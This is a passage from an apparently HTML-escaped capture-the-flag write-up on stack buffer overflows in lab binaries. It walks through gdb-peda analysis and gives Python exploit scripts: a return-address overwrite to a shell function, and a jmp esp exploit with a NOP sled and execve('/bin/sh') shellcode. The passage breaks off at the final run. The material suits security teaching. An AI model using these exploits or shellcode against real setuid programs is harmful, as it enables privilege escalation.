   0x56556208 &amp;lt;+31&amp;gt;:	sub    esp,0x4
   0x5655620b &amp;lt;+34&amp;gt;:	push   0x0
   0x5655620d &amp;lt;+36&amp;gt;:	push   0x0
   0x5655620f &amp;lt;+38&amp;gt;:	lea    eax,[ebx-0x1ff8]
   0x56556215 &amp;lt;+44&amp;gt;:	push   eax
   0x56556216 &amp;lt;+45&amp;gt;:	call   0x56556080 &amp;lt;execve@plt&amp;gt;
   0x5655621b &amp;lt;+50&amp;gt;:	add    esp,0x10
   0x5655621e &amp;lt;+53&amp;gt;:	nop
   0x5655621f &amp;lt;+54&amp;gt;:	mov    ebx,DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x4]
   0x56556222 &amp;lt;+57&amp;gt;:	leave
   0x56556223 &amp;lt;+58&amp;gt;:	ret
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Take the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ebp&lt;/code&gt; address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x565561e9&lt;/code&gt; which is the address at which the function gets called. With the information so far, a working python script can be written to exploit the binary and use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spawn&lt;/code&gt; as our injection point.&lt;/p&gt;

&lt;p&gt;One important step to note is that the memory of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spawn&lt;/code&gt; function needs to be converted to little endian format so that the CPU can understand it.&lt;/p&gt;

&lt;p&gt;A complete python exploit would be as follows:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python2
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;36&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x565561e9&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# Pack the spawn() mem addr in little endian
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The exploit can then be provided as user input to the program and exploit it.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;level1@kali:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./levelTwo &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;python2 exploit.py&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1002&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1001&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /home/level2/level2.txt
d658dfc[REDACTED]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;level-2---level-3&quot;&gt;Level 2 -&amp;gt; Level 3:&lt;/h1&gt;

&lt;p&gt;The complexity of the binary is increased at level 2 slightly.
Let’s debug the program.&lt;/p&gt;

&lt;p&gt;Load the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;levelThree&lt;/code&gt; binary in gdb-peda and list all the functions as was done in the previous challenges.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  setresuid@plt
0x00001040  &lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;@plt
0x00001050  geteuid@plt
0x00001060  strcpy@plt
0x00001070  __libc_start_main@plt
0x00001080  __cxa_finalize@plt
0x00001090  _start
0x000010d0  __x86.get_pc_thunk.bx
0x000010e0  deregister_tm_clones
0x00001120  register_tm_clones
0x00001170  __do_global_dtors_aux
0x000011c0  frame_dummy
0x000011c5  __x86.get_pc_thunk.dx
0x000011c9  overflow
0x00001212  main
0x00001280  __libc_csu_init
0x000012e0  __libc_csu_fini
0x000012e4  _fini
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There is a function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;overflow&lt;/code&gt; at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x000011c9&lt;/code&gt;. Examine the assembly code of it.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pd overflow
Dump of assembler code &lt;span class=&quot;k&quot;&gt;for function &lt;/span&gt;overflow:
   0x000011c9 &amp;lt;+0&amp;gt;:	push   ebp
   0x000011ca &amp;lt;+1&amp;gt;:	mov    ebp,esp
   0x000011cc &amp;lt;+3&amp;gt;:	push   ebx
   0x000011cd &amp;lt;+4&amp;gt;:	sub    esp,0x104
   0x000011d3 &amp;lt;+10&amp;gt;:	call   0x10d0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;
   0x000011d8 &amp;lt;+15&amp;gt;:	add    ebx,0x2e28
   0x000011de &amp;lt;+21&amp;gt;:	sub    esp,0x8
   0x000011e1 &amp;lt;+24&amp;gt;:	push   DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp+0x8]
   0x000011e4 &amp;lt;+27&amp;gt;:	lea    eax,[ebp-0x108]
   0x000011ea &amp;lt;+33&amp;gt;:	push   eax
-&amp;gt;   0x000011eb &amp;lt;+34&amp;gt;:	call   0x1060 &amp;lt;strcpy@plt&amp;gt;
   0x000011f0 &amp;lt;+39&amp;gt;:	add    esp,0x10
   0x000011f3 &amp;lt;+42&amp;gt;:	sub    esp,0x8
   0x000011f6 &amp;lt;+45&amp;gt;:	lea    eax,[ebp-0x108]
   0x000011fc &amp;lt;+51&amp;gt;:	push   eax
   0x000011fd &amp;lt;+52&amp;gt;:	lea    eax,[ebx-0x1ff8]
   0x00001203 &amp;lt;+58&amp;gt;:	push   eax
   0x00001204 &amp;lt;+59&amp;gt;:	call   0x1040 &amp;lt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;@plt&amp;gt;
   0x00001209 &amp;lt;+64&amp;gt;:	add    esp,0x10
   0x0000120c &amp;lt;+67&amp;gt;:	nop
   0x0000120d &amp;lt;+68&amp;gt;:	mov    ebx,DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x4]
   0x00001210 &amp;lt;+71&amp;gt;:	leave
   0x00001211 &amp;lt;+72&amp;gt;:	ret
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Here &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; function is used to get information from the user as input and gets printed as output. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; is shown at address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x000011eb&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pd main
Dump of assembler code &lt;span class=&quot;k&quot;&gt;for function &lt;/span&gt;main:
   0x00001212 &amp;lt;+0&amp;gt;:	lea    ecx,[esp+0x4]
   0x00001216 &amp;lt;+4&amp;gt;:	and    esp,0xfffffff0
   0x00001219 &amp;lt;+7&amp;gt;:	push   DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ecx-0x4]
   0x0000121c &amp;lt;+10&amp;gt;:	push   ebp
   0x0000121d &amp;lt;+11&amp;gt;:	mov    ebp,esp
   0x0000121f &amp;lt;+13&amp;gt;:	push   esi
   0x00001220 &amp;lt;+14&amp;gt;:	push   ebx
   0x00001221 &amp;lt;+15&amp;gt;:	push   ecx
   0x00001222 &amp;lt;+16&amp;gt;:	sub    esp,0x1c
   0x00001225 &amp;lt;+19&amp;gt;:	call   0x10d0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;
   0x0000122a &amp;lt;+24&amp;gt;:	add    ebx,0x2dd6
   0x00001230 &amp;lt;+30&amp;gt;:	mov    esi,ecx
   0x00001232 &amp;lt;+32&amp;gt;:	call   0x1050 &amp;lt;geteuid@plt&amp;gt;
   0x00001237 &amp;lt;+37&amp;gt;:	mov    DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x1c],eax
   0x0000123a &amp;lt;+40&amp;gt;:	sub    esp,0x4
   0x0000123d &amp;lt;+43&amp;gt;:	push   DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x1c]
   0x00001240 &amp;lt;+46&amp;gt;:	push   DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x1c]
   0x00001243 &amp;lt;+49&amp;gt;:	push   DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x1c]
   0x00001246 &amp;lt;+52&amp;gt;:	call   0x1030 &amp;lt;setresuid@plt&amp;gt;
   0x0000124b &amp;lt;+57&amp;gt;:	add    esp,0x10
   0x0000124e &amp;lt;+60&amp;gt;:	mov    eax,DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;esi+0x4]
   0x00001251 &amp;lt;+63&amp;gt;:	add    eax,0x4
   0x00001254 &amp;lt;+66&amp;gt;:	mov    eax,DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;eax]
   0x00001256 &amp;lt;+68&amp;gt;:	sub    esp,0xc
   0x00001259 &amp;lt;+71&amp;gt;:	push   eax
   0x0000125a &amp;lt;+72&amp;gt;:	call   0x11c9 &amp;lt;overflow&amp;gt;
   0x0000125f &amp;lt;+77&amp;gt;:	add    esp,0x10
   0x00001262 &amp;lt;+80&amp;gt;:	mov    eax,0x0
   0x00001267 &amp;lt;+85&amp;gt;:	lea    esp,[ebp-0xc]
   0x0000126a &amp;lt;+88&amp;gt;:	pop    ecx
   0x0000126b &amp;lt;+89&amp;gt;:	pop    ebx
   0x0000126c &amp;lt;+90&amp;gt;:	pop    esi
   0x0000126d &amp;lt;+91&amp;gt;:	pop    ebp
   0x0000126e &amp;lt;+92&amp;gt;:	lea    esp,[ecx-0x4]
   0x00001271 &amp;lt;+95&amp;gt;:	ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The function &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;overflow()&lt;/code&gt; is called but before that a call to set the UID to the user who owns the binary is made, that is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;level3&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So what needs to be done is, overflow the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register, find the offset of the buffer… and then…&lt;/p&gt;

&lt;p&gt;The slight complexity of the binary is found here. comparing the previous challenges with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;level3&lt;/code&gt; shows that at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;level3&lt;/code&gt; there is no function to spawn a shell. This would require a shellcode be provided supplied by the user.&lt;/p&gt;

&lt;p&gt;Let’s create a pattern of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;300&lt;/code&gt; characters long and send to the binary to overflow the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register and find out the offset.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_create 300
&lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA---SNIP---'&lt;/span&gt;
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r &lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA---SNIP---'&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
EAX: 0x132
EBX: 0x25413225 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'%2A%'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ECX: 0x1
EDX: 0xf7fa9890 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0
ESI: 0xffffd490 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x2
EDI: 0xf7fa8000 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1d9d6c
EBP: 0x64254148 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'HA%d'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ESP: 0xffffd440 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EIP: 0x41332541 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'A%3A'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EFLAGS: 0x10286 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;carry PARITY adjust zero SIGN &lt;span class=&quot;nb&quot;&gt;trap &lt;/span&gt;INTERRUPT direction overflow&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-------------------------------------code-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Invalid &lt;span class=&quot;nv&quot;&gt;$PC&lt;/span&gt; address: 0x41332541
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------stack-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
0000| 0xffffd440 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;%IA%eA%4A%JA%fA%5A%KA%gA%6A%&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0004| 0xffffd444 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;eA%4A%JA%fA%5A%KA%gA%6A%&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0008| 0xffffd448 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;A%JA%fA%5A%KA%gA%6A%&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0012| 0xffffd44c &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;%fA%5A%KA%gA%6A%&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0016| 0xffffd450 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;5A%KA%gA%6A%&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0020| 0xffffd454 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;A%gA%6A%&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0024| 0xffffd458 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;%6A%&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0028| 0xffffd45c &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x300
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41332541 &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; ?? &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;EIP&lt;/code&gt; register was successfully overwritten and now the offset.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_offset 0x41332541
1093870913 found at offset: 268
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Following the above statement which mentions the binary does not have a function which creates a shell instance, this means that in such cases a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp&lt;/code&gt; call must be found. In particular one that makes the program jump back to the stack pointer - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ESP&lt;/code&gt;. Such calls are called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt;. Some calls might be at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ebp&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ecx&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;eax&lt;/code&gt;, this really depends on where the user provided data is stored.&lt;/p&gt;

&lt;p&gt;Using gdb-peda, finding a call such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt; is easilly found with the following command: &lt;code&gt;jmpcall&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Since the offset is identified, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt; call can be looked up.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;jmpcall esp
0x56557043 : jmp esp
0x56558043 : jmp esp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Development of an exploit can now begin.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python2
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;ffset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;268&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# offset = 268 (junk)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x56558043&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# jmpcall : 0x56558043 jmp esp;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Since the program doesn’t have its own &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; method to launch &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt; for example, we need to provide our own.&lt;/p&gt;

&lt;p&gt;A shellcode to spawn &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/bin/sh&lt;/code&gt; can be found online. One place is &lt;a href=&quot;https://www.exploit-db.com/shellcodes/46809&quot;&gt;exploit-db.com&lt;/a&gt;.
In exploit development there is one hex code known as a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NOPSLED&lt;/code&gt; also known as no operation instruction.&lt;/p&gt;

&lt;p&gt;It simply tells a program to not do anything and proceed further in memory until it finds a valid address to execute. This is typically used to allign the stack so that after a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jmp esp&lt;/code&gt; call a program can simply go straight to the shellcode.&lt;/p&gt;

&lt;p&gt;With the information so far, a final exploit can be developed which should look something like the following:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python2
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;268&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# offset = 268 (junk)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x56558043&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# jmpcall : 0x56558043 jmp esp;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pack the jmpcall in little endian
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# slide to shellcode
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x90&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# execve(&quot;/bin/sh&quot;)
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Provide the final exploit as the user input data to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;levelThree&lt;/code&gt; binary and get access as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;level3&lt;/code&gt; user.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;level2@kali:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./levelThree &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;./exploit.py&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
